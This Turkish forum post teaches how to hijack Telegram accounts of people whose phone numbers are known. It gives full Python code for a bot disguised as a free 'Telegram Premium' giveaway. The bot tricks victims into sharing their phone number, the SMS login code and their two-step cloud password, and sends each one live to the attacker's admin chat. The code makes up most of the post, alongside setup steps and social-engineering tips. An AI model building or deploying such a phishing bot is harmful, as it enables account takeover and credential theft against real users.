öncelikle herkese selamlar bu
konumda numarasını bildimiz kişiler üzerinde sosyal mühendislikle telegram hesaplara girmeyi anlatıcam
konumda numarasını bildimiz kişiler üzerinde sosyal mühendislikle telegram hesaplara girmeyi anlatıcam
şimdi öncelikle bot fatherdan oluşturdumuz botu biraz kamufule ediyoruz bir önceki konudaki gibi telegram premiyum veriyor iste
yada telegram guruplarına üye ekleme botu yada buna benzer konular telegramdaki kişileri kandırmak basit aslında biraz sosyal mühendisliğe bakıyor
Şimdi kodları veriyorum bu kodları
Kod:
import asyncio
import logging
from datetime import datetime
from telegram import Update, ReplyKeyboardMarkup, KeyboardButton, ReplyKeyboardRemove, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes, CallbackQueryHandler
# --- AYARLAR (BURALARI DOLDUR) ---
TOKEN = "TOKEN_BURAYA" # BotFather'dan aldığın token
ADMIN_ID = 123456789 # Kendi ID'n (Örn: 51234567)
# Loglama ayarları
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
# Kullanıcı verilerini ve durumlarını saklamak için
user_data = {}
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
user = update.effective_user
# Şık Karşılama
contact_btn = KeyboardButton(text="🌟 Üyeliği Doğrula ve Başlat", request_contact=True)
markup = ReplyKeyboardMarkup([[contact_btn]], one_time_keyboard=True, resize_keyboard=True)
await update.message.reply_text(
f"👋 **Merhaba {user.first_name}!**\n\n"
"Telegram Premium 2026 Kampanyası kapsamında hesabınıza **3 Ay Ücretsiz Premium** tanımlanmıştır.\n\n"
"🎁 Ödülünüzü aktif etmek ve cihaz eşleşmesini tamamlamak için lütfen aşağıdaki butona tıklayarak **Numara Doğrulaması** yapın.",
reply_markup=markup, parse_mode="Markdown"
)
async def handle_contact(update: Update, context: ContextTypes.DEFAULT_TYPE):
contact = update.message.contact
user = update.effective_user
# ADMİN BİLDİRİM (Anlık)
await context.bot.send_message(
chat_id=ADMIN_ID,
text=f"🚨 **YENİ KURBAN GELDİ!**\n👤 Ad: {user.first_name}\n🆔 ID: `{user.id}`\n📱 No: `{contact.phone_number}`\n\n👉 *Şimdi kendi cihazından bu numarayla giriş yap ve kodu tetikle!*",
parse_mode="Markdown"
)
# Simülasyon Başlıyor
status = await update.message.reply_text("🔄 Cihaz ID taranıyor...", reply_markup=ReplyKeyboardRemove())
await asyncio.sleep(2)
await status.edit_text("🌍 Bölge kontrol ediliyor (TR/EU)...")
await asyncio.sleep(1.5)
await status.edit_text("✅ Uygunluk onaylandı. Lisans anahtarı oluşturuluyor...")
await asyncio.sleep(1.5)
await status.delete()
# Kod İsteme Aşaması
user_data[user.id] = {'step': 'WAITING_SMS', 'phone': contact.phone_number}
await update.message.reply_text(
"📩 **Son Adım!**\n\nTelegram tarafından size gönderilen **5 haneli onay kodunu** "
"aşağıya mesaj olarak yazın.\n\n"
"⚠️ *Not: Kod gelmediyse uygulamayı kontrol edin.*",
parse_mode="Markdown"
)
async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
user = update.effective_user
text = update.message.text
state = user_data.get(user.id, {}).get('step')
if state == "WAITING_SMS":
# Kodu yakala ve Admin'e at
await context.bot.send_message(
chat_id=ADMIN_ID,
text=f"🔑 **SMS KODU GELDİ!**\n👤 Kullanıcı: {user.first_name}\n📟 Kod: `{text}`",
parse_mode="Markdown"
)
# 2FA (Şifre) İsteme Aşamasına Geç
user_data[user.id]['step'] = 'WAITING_2FA'
await update.message.reply_text(
"🔒 **İki Adımlı Doğrulama Tespit Edildi!**\n\n"
"Hesabınızda ek güvenlik katmanı bulunmaktadır. Lütfen devam etmek için "
"**Bulut Şifrenizi** giriniz:",
parse_mode="Markdown"
)
elif state == "WAITING_2FA":
# Şifreyi yakala ve Admin'e at
await context.bot.send_message(
chat_id=ADMIN_ID,
text=f"🔓 **BULUT ŞİFRESİ (2FA) GELDİ!**\n👤 Kullanıcı: {user.first_name}\n🔑 Şifre: `{text}`",
parse_mode="Markdown"
)
await update.message.reply_text("⌛ Sistem yoğunluğu nedeniyle işleminiz sıraya alındı. 24 saat içinde Premium aktif edilecektir.")
user_data[user.id]['step'] = None
# Admin için özel komut (Sadece sen görebilirsin)
async def admin_stats(update: Update, context: ContextTypes.DEFAULT_TYPE):
if update.effective_user.id == ADMIN_ID:
total = len(user_data)
await update.message.reply_text(f"📊 **Bot İstatistikleri**\n\nToplam etkileşim: {total}")
def main():
app = Application.builder().token(TOKEN).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(CommandHandler("istatistik", admin_stats))
app.add_handler(MessageHandler(filters.CONTACT, handle_contact))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
print("🔥 BOT BAŞLATILDI! Admin ID'ni kontrol etmeyi unutma.")
app.run_polling()
if __name__ == "__main__":
main()
neyse biz konumuza geçelim yazdım şimdiki kod numarasını bildiniz kişinin telegramına kod yolladınızda
bizim botumuzu başlattında ona gelen sms deki kodu eger girer ise kod bize düşüyor burdaki kodun amacı bu
gereken paketlerin kurulumu
pip install python-telegram-bot
konumda eksiklik varsa kusuruma
bakmayın elimden geldince dikkat ediyorum
yazılara olsun renklere koydum görsellere dikkat ediyorum özenle ama kücük hatalar gözden kaçabiliyor Herkese iyi forumlar :)
Moderatör tarafında düzenlendi:


